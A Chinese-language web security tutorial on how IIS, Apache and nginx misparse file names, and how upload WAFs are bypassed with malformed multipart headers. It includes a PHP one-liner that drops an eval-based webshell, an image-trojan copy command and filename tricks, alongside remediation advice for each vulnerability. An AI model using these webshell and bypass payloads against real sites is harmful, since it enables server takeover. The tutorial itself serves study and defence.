解析漏洞

解析漏洞解释

  • 解析漏洞就是指服务器应用程序在解析某些精心构造的后缀文件的时候,会将相关的文件解析成网页的脚本,从而导致实现控制网站,同时大部分的解析漏洞都是由应用程序产生的。

IIS解析漏洞

IIS5.0/6.0

目录解析

  • 在以. asp文件名的文件夹下的任何文件都将作为asp文件执行。
  • 也就是当目录为XX.asp的时候,那么当访问下面的图片的时候,如XX.aps/1.jpg就会被当作ASP执行。

文件解析

  • 如果文件为1.asp;.jpg,由于IIS不解析;后面的内容,使用就会把文件当作1.asp进行解析,同时还存在.asa.cer.cdx可以进行解析。

修复建议

  1. 限制上传目录的执行权限,不允许执行脚本。
  2. 不允许创建目录。
  3. 上传的文件进行重命名。

IIS7.0/7.5

IIS7.0/IIS7.0Fash-CGI

  • 在Fast-CGI开启的状态下,在类似1.jpg后面加上/1.php,变成/1.jpg/1.php路径会解析成PHP文件。需要进入php.ini里面修改cig.cgi_ pathinfo=1。
  • 将1.txt文本文件中的后门代码写入到1.jpg图片的二进制代码:copy 1.jpg/b + 1.txt/a 1.jpg
  • 1.txt的文件内容为:<?PHPfputs(fopen('shell.php','w'),'<?php eval($_POST[password])?>');?>
  • 当在图片文件中写入后门代码,当访问这个图片的时候加上/.php的时候就会在当前目录下生成一句话木马shell.php。

修复建议

  • 配置cgi.fix_pathinfo(php.ini中)为0并重启php-cgi程序

apache解析漏洞

apache解析漏洞

  • 在apache1.x和apache2.x中存在解析漏洞。
  • 当一个文件为1.php.yy.xx的时候就会被当作php执行,这是由于在apache解析文件的时候有一个原则就是,以.后面的扩展名来解析,当遇见不认识的扩展名的时候,就会向前解析,直到遇到能够解析的后缀名为止。
  • 如:1.php.yy.xx,首先会解析xx,xx无法解析就会去解析yy,yy无法解析就会去解析php,那么php是能够解析了,那么就会结束。
  • 这种方式多用于绕过黑名单的检查。

修复建议

  1. 更新至最新版本。
  2. 将上传的文件进行重命名。

nginx解析漏洞

nginx<8.03

nginx配置文件错误

  • 由于nginx默认是用cgi解析php的,因此和iis一样可以制作图片马进行上传。
  • 当在图片文件中写入后门代码,当访问这个图片的时候加上/.php的时候就会在当前目录下生成一句话木马shell.php。

修复建议

  1. 配置cgi.fix_pathinfo(php.ini中)为0并重启php-cgi程序
  2. 或如果需要使用到cgi.fix_pathinfo这个特性(例如:Wordpress),那么可以禁止上传目录的执行脚本权限。 或将上传存储的内容与网站分离,即站库分离。
  3. 或高版本PHP提供了security.limit_extensions这个配置参数,设置security.limit_extensions = .php

nginx0.5/0.6/0.7<=0.7.65/0.8<=0.8.37

nginx空字节任意代码执行

  • 当使用PHP-FastCGI执行PHP时,遇到url里面存在%00空字节时与FastCGI的处理不一致,导致可在非PHP文件中嵌入PHP代码,通过访问url+%00.PHP来执行其中的PHP代码。
  • 比如上传一张图片马1.jpg,那么当访问这个图片马的时在1.jpg后面添加%00.php就会将图片马以php执行。

修复建议

  1. 升级nginx版本。

编辑器漏洞

  • 编辑器也就是在线的web编辑器,比如在搭建博客后需要发布文章,那么用来发布文章的界面就是web编辑器。当然web编辑器有很多,如:UEDITOR(百度)、eWebEdit、FCKeditor、CKEditor(新版fck)、Kindeditor、DotNetTextBox、CuteEditor等等。

WAF绕过

WAF绕过解释

  • waf绕过其实就是将数据包截获到,对里面的内容进行解析,比如对文件的后缀名就判断是否在相应的黑名单中,文件内容中是否存在webshell代码。
  • 总的来说文件上传都是在数据包中进行各种操作来进行绕过。

上传参数名解析

  • Content-Disposition:一般可更改
  • name:表单参数值,不能更改
  • filename:文件名,可以更改
  • Content-Type:文件MIME,视情况更改

绕过方式

数据溢出

form-data与name之间

  • 在form-data;与name=”upload_file”; filename=”2.php”之间添加大量的垃圾数据,可以边添加边测试直到上传上去,主要添加的垃圾数据需要在后面添加一个”;”进行结尾。
    image.png

name与filename之间

  • 当然这里不单单可以插入在form-data;与name=”upload_file”; filename=”2.php”之间,也可以在name=”upload_file”; 与filename=”2.php”之间。但是数据不能乱插入,比如你插在2.php中,那肯定不行,一般情况下,文件名称长度都可能存在限制,并且太长也上传不上去。
    image.png

符号变异

  • 符号变异也就是将单双引号变换使用,或者单双引号缺失一部分进行使用,或者不使用单双引号来进行绕过。目前测试好像是无法通过了。

filename符号变异

1
2
3
4
5
Content-Disposition: form-data; name="upload_file"; filename="2.php

Content-Disposition: form-data; name="upload_file"; filename='2.php

Content-Disposition: form-data; name="upload_file"; filename=2.php

form-data符号变异

1
2
3
Content-Disposition:"form-data"; name=upload_file; filename="2.php"

Content-Disposition:'form-data'; name="upload_file"; filename='2.php'

数据截断

回车换行

  • 通过换行来实现绕过,但是中间不能有空行
    image.png

分号截断

  • 若WAF匹配文件名到分号截止,则可以绕过。

字段名变换

大小写变换

  • 对这三个字段进行大小写进行变换,比如将name换成NameContent-Disposition换成content-disposition等等。

顺序颠倒

  • 针对namefilename这两个字段,我们可以尝试交换namefilename的顺序。(由于有规定Content-Dispositon必须在前面,因此我们不能修改该字段的内容)

重复数据

  • 通过设置多个参数进行匹配,避免被匹配到。
    1
    Content-Disposition: form-data; name="upload_file";filename="2.jpg";filename="2.jpg";filename="2.jpg";filename="2.jpg";......filename="2.php";

参考链接

文件上传修复

  • 后端验证:针对后端验证的可以采用通过服务器进行验证。
  • 后缀检测:利用黑白名单进行过滤,当然最好是使用白名单,黑名单有时候总归会存在一些未想到的后缀,而白名单就相对简单一点,只需要想放通哪些后缀即可,而且防范更好一些。
  • 上传目录:对上传文件到的目录可以设置一个不可执行的权限。
  • 文件名:针对文件名可以自定义一些随机数以及一些其他的内容进行二次修改,从而改变文件的名称。
  • 内容检测:可以使用文件头,完整性检测,最好能够对内容的数据进行判断是否存在一些webxshll类似的代码,若出现这类代码,直接删除。